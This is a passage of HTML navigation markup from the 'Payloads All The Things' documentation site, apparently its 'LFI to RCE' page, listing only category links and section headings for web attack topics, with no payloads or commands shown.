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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../.." class="md-nav__link">
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<span class="md-ellipsis">
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Payloads All The Things
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../CONTRIBUTING/" class="md-nav__link">
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<span class="md-ellipsis">
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CONTRIBUTING
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../DISCLAIMER/" class="md-nav__link">
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<span class="md-ellipsis">
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DISCLAIMER
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</span>
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</a>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
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<label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
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<span class="md-ellipsis">
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API Key Leaks
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
|
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<label class="md-nav__title" for="__nav_4">
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<span class="md-nav__icon md-icon"></span>
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API Key Leaks
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../API%20Key%20Leaks/" class="md-nav__link">
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<span class="md-ellipsis">
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API Key and Token Leaks
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../API%20Key%20Leaks/IIS-Machine-Keys/" class="md-nav__link">
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<span class="md-ellipsis">
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IIS Machine Keys
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</span>
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</a>
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
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<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
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<span class="md-ellipsis">
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Account Takeover
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_5">
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<span class="md-nav__icon md-icon"></span>
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Account Takeover
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../Account%20Takeover/" class="md-nav__link">
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<span class="md-ellipsis">
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Account Takeover
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Account%20Takeover/mfa-bypass/" class="md-nav__link">
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<span class="md-ellipsis">
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MFA Bypasses
|
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</span>
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</a>
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
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<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
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<span class="md-ellipsis">
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Business Logic Errors
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
|
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<label class="md-nav__title" for="__nav_6">
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<span class="md-nav__icon md-icon"></span>
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Business Logic Errors
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../Business%20Logic%20Errors/" class="md-nav__link">
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<span class="md-ellipsis">
|
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Business Logic Errors
|
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</span>
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</a>
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
|
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<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
|
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<span class="md-ellipsis">
|
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CORS Misconfiguration
|
|
</span>
|
|
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|
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<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_7">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CORS Misconfiguration
|
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</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
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<li class="md-nav__item">
|
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<a href="../../CORS%20Misconfiguration/" class="md-nav__link">
|
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|
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|
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<span class="md-ellipsis">
|
|
CORS Misconfiguration
|
|
</span>
|
|
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|
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</a>
|
|
</li>
|
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
|
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|
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<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
|
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|
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|
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<span class="md-ellipsis">
|
|
CRLF Injection
|
|
</span>
|
|
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|
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<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_8">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CRLF Injection
|
|
</label>
|
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<ul class="md-nav__list" data-md-scrollfix>
|
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<li class="md-nav__item">
|
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<a href="../../CRLF%20Injection/" class="md-nav__link">
|
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|
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<span class="md-ellipsis">
|
|
Carriage Return Line Feed
|
|
</span>
|
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</a>
|
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</li>
|
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</ul>
|
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
|
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<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
|
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|
|
|
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<span class="md-ellipsis">
|
|
CSV Injection
|
|
</span>
|
|
|
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|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_9">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CSV Injection
|
|
</label>
|
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<ul class="md-nav__list" data-md-scrollfix>
|
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<li class="md-nav__item">
|
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<a href="../../CSV%20Injection/" class="md-nav__link">
|
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|
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<span class="md-ellipsis">
|
|
CSV Injection
|
|
</span>
|
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</a>
|
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
|
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<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
|
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<span class="md-ellipsis">
|
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CVE Exploits
|
|
</span>
|
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<span class="md-nav__icon md-icon"></span>
|
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</label>
|
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|
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_10">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CVE Exploits
|
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</label>
|
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<ul class="md-nav__list" data-md-scrollfix>
|
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<li class="md-nav__item">
|
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<a href="../../CVE%20Exploits/" class="md-nav__link">
|
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|
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<span class="md-ellipsis">
|
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Common Vulnerabilities and Exposures
|
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</span>
|
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</a>
|
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</li>
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<li class="md-nav__item">
|
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<a href="../../CVE%20Exploits/Log4Shell/" class="md-nav__link">
|
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|
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|
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<span class="md-ellipsis">
|
|
CVE-2021-44228 Log4Shell
|
|
</span>
|
|
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|
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</a>
|
|
</li>
|
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
|
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<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
|
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|
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|
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<span class="md-ellipsis">
|
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Clickjacking
|
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</span>
|
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|
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|
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<span class="md-nav__icon md-icon"></span>
|
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</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_11">
|
|
<span class="md-nav__icon md-icon"></span>
|
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Clickjacking
|
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</label>
|
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<ul class="md-nav__list" data-md-scrollfix>
|
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<li class="md-nav__item">
|
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<a href="../../Clickjacking/" class="md-nav__link">
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|
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<span class="md-ellipsis">
|
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Clickjacking
|
|
</span>
|
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</a>
|
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</li>
|
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</ul>
|
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
|
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Client Side Path Traversal
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_12">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Client Side Path Traversal
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
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|
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<li class="md-nav__item">
|
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<a href="../../Client%20Side%20Path%20Traversal/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Client Side Path Traversal
|
|
</span>
|
|
|
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|
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</a>
|
|
</li>
|
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
|
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Command Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_13">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Command Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
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|
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<li class="md-nav__item">
|
|
<a href="../../Command%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Command Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cross Site Request Forgery
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_14">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Cross Site Request Forgery
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
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|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../../Cross-Site%20Request%20Forgery/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cross-Site Request Forgery
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
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|
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</li>
|
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|
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<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
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|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DNS Rebinding
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_15">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
DNS Rebinding
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
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|
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|
|
<li class="md-nav__item">
|
|
<a href="../../DNS%20Rebinding/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DNS Rebinding
|
|
</span>
|
|
|
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|
|
</a>
|
|
</li>
|
|
|
|
|
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|
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</ul>
|
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</nav>
|
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</li>
|
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|
|
<li class="md-nav__item md-nav__item--nested">
|
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|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DOM Clobbering
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_16">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
DOM Clobbering
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../DOM%20Clobbering/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DOM Clobbering
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
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|
|
|
|
</ul>
|
|
</nav>
|
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|
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</li>
|
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|
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|
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|
|
|
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|
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|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Denial of Service
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_17">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Denial of Service
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Denial%20of%20Service/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Denial of Service
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Dependency Confusion
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_18">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Dependency Confusion
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Dependency%20Confusion/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Dependency Confusion
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Directory Traversal
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_19">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Directory Traversal
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Directory%20Traversal/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Directory Traversal
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" checked>
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
File Inclusion
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="true">
|
|
<label class="md-nav__title" for="__nav_20">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
File Inclusion
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
File Inclusion
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--active">
|
|
|
|
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
|
|
|
|
|
|
|
|
|
|
|
|
<label class="md-nav__link md-nav__link--active" for="__toc">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LFI to RCE
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<a href="./" class="md-nav__link md-nav__link--active">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LFI to RCE
|
|
</span>
|
|
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<label class="md-nav__title" for="__toc">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Table of contents
|
|
</label>
|
|
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#summary" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Summary
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-procfd" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via /proc/*/fd
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-procselfenviron" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via /proc/self/environ
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-iconv" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via iconv
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-upload" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via upload
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-upload-race" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via upload (race)
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-upload-findfirstfile" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via upload (FindFirstFile)
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-phpinfo" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via phpinfo()
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-controlled-log-file" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via controlled log file
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="LFI to RCE via controlled log file">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#rce-via-ssh" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
RCE via SSH
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#rce-via-mail" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
RCE via Mail
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#rce-via-apache-logs" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
RCE via Apache logs
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-php-sessions" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via PHP sessions
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-php-pearcmd" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via PHP PEARCMD
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-credentials-files" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via credentials files
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="LFI to RCE via credentials files">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#windows-version" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Windows version
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#linux-version" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Linux version
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#references" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
References
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Wrappers/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Inclusion Using Wrappers
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Google Web Toolkit
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_21">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Google Web Toolkit
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Google%20Web%20Toolkit/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Google Web Toolkit
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
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</li>
|
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|
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<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
GraphQL Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_22">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
GraphQL Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../GraphQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
GraphQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
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</li>
|
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|
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|
|
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|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
HTTP Parameter Pollution
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_23">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
HTTP Parameter Pollution
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../HTTP%20Parameter%20Pollution/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
HTTP Parameter Pollution
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
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|
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|
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|
|
|
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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Headless Browser
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_24">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Headless Browser
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Headless%20Browser/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Headless Browser
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
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|
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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Hidden Parameters
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_25">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Hidden Parameters
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Hidden%20Parameters/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
HTTP Hidden Parameters
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
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|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Deserialization
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_26">
|
|
